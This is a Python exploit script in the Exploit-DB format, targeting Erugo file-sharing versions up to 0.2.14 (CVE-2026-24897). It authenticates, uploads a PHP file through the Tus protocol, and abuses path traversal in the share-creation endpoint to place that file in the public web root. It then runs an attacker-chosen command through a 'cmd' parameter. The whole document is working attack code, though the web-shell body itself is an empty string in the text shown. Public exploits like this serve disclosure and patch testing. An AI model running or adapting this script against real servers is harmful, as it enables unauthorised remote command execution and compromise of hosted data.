# Exploit Title: Erugo <= 0.2.14 - Authenticated Remote Code Execution (RCE) # Date: 2026-02-02 # Exploit Author: Abdul Moiz # Vendor Homepage: https://github.com/ErugoOSS/Erugo # Software Link: https://hub.docker.com/layers/wardy784/erugo/0.2.14/images/sha256-d3da70b337212a6c774b7028256870274edc2ac40536fcc0f1706cbbc4ed4fbf # Version: <= 0.2.14 # Tested on: Linux (Docker) # CVE: CVE-2026-24897 import requests import json import sys import time import base64 import argparse import random import string import warnings from datetime import datetime, timedelta, timezone # Disable SSL & Deprecation Warnings for clean output from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) warnings.filterwarnings("ignore", category=DeprecationWarning) class ErugoExploit: def __init__(self, target, username, password): self.target = target.rstrip("/") self.username = username self.password = password self.session = requests.Session() # Standard Headers self.session.headers.update({ "User-Agent": "Mozilla/5.0 (Exploit-DB)", "Accept": "application/json", "Tus-Resumable": "1.0.0" }) # Generate a random 8-char filename to prevent collisions rand_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) self.shell_name = f"{rand_str}.php" self.shell_content = '' def get_csrf(self): """Initialize session cookies""" print("[*] Initializing session...") try: self.session.get(f"{self.target}/login", verify=False, timeout=10) except Exception as e: print(f"[-] Connection failed: {e}") sys.exit(1) def login(self): print(f"[*] Authenticating as {self.username}...") url = f"{self.target}/api/auth/login" data = {"email": self.username, "password": self.password} try: r = self.session.post(url, json=data, verify=False, timeout=10) if r.status_code == 200: token = r.json().get("data", {}).get("access_token") if token: self.session.headers.update({"Authorization": f"Bearer {token}"}) print("[+] Login Successful.") return True except Exception as e: pass print("[-] Login Failed. Check credentials.") sys.exit(1) def upload_payload(self): print(f"[*] Uploading {self.shell_name} via Tus Protocol...") # 1. Tus Creation (POST) post_url = f"{self.target}/files/" # Base64 Encode metadata filename_b64 = base64.b64encode(self.shell_name.encode()).decode() filetype_b64 = base64.b64encode(b"application/x-php").decode() headers = { "Upload-Length": str(len(self.shell_content)), "Upload-Metadata": f"filename {filename_b64},filetype {filetype_b64}" } try: r = self.session.post(post_url, headers=headers, verify=False, timeout=10) if r.status_code != 201: print(f"[-] Tus creation failed. Status: {r.status_code}") sys.exit(1) location = r.headers.get("Location") file_id = location.split("/")[-1] # 2. Tus Data Transfer (PATCH) patch_headers = { "Content-Type": "application/offset+octet-stream", "Upload-Offset": "0" } r = self.session.patch(location, headers=patch_headers, data=self.shell_content, verify=False, timeout=10) if r.status_code == 204: print(f"[+] Payload uploaded. ID: {file_id}") return file_id else: print(f"[-] Data upload failed. Status: {r.status_code}") sys.exit(1) except Exception as e: print(f"[-] Upload error: {e}") sys.exit(1) def trigger_path_traversal(self, file_id): print("[*] Creating malicious share...") url = f"{self.target}/api/uploads/create-share-from-uploads" # Fix Date Warning: Use timezone-aware UTC tomorrow = datetime.now(timezone.utc) + timedelta(days=1) expiry = tomorrow.strftime("%Y-%m-%dT%H:%M:%S.000Z") payload = { "upload_id": "exploit", "name": "exploit_share", "recipients": [], "uploadIds": [file_id], "filePaths": { # VULNERABILITY: Path Traversal file_id: f"../../../../../public/{self.shell_name}" }, "expiry_date": expiry, "password": "", "password_confirm": "" } try: r = self.session.post(url, json=payload, verify=False, timeout=10) if r.status_code not in [200, 201]: print(f"[-] Share creation failed. Status: {r.status_code}") print(f" Response: {r.text}") sys.exit(1) print("[+] Malicious share created.") except Exception as e: print(f"[-] Error creating share: {e}") sys.exit(1) def execute_command(self, cmd): shell_url = f"{self.target}/{self.shell_name}" print(f"[*] Executing command: '{cmd}' at {shell_url}") time.sleep(1) # Wait for filesystem sync try: r = self.session.get(shell_url, params={"cmd": cmd}, verify=False, timeout=10) if r.status_code == 200: print("\n" + "="*50) print(f"COMMAND OUTPUT:") print(r.text.strip()) print("="*50 + "\n") else: print(f"[-] Command failed. Status: {r.status_code}") except Exception as e: print(f"[-] Execution error: {e}") def main(): parser = argparse.ArgumentParser(description='Erugo <= 0.2.14 Authenticated RCE') parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://localhost:9998)') parser.add_argument('-u', '--username', required=True, help='User email') parser.add_argument('-p', '--password', required=True, help='User password') parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)') args = parser.parse_args() exploit = ErugoExploit(args.target, args.username, args.password) exploit.get_csrf() exploit.login() fid = exploit.upload_payload() exploit.trigger_path_traversal(fid) exploit.execute_command(args.command) if __name__ == "__main__": main()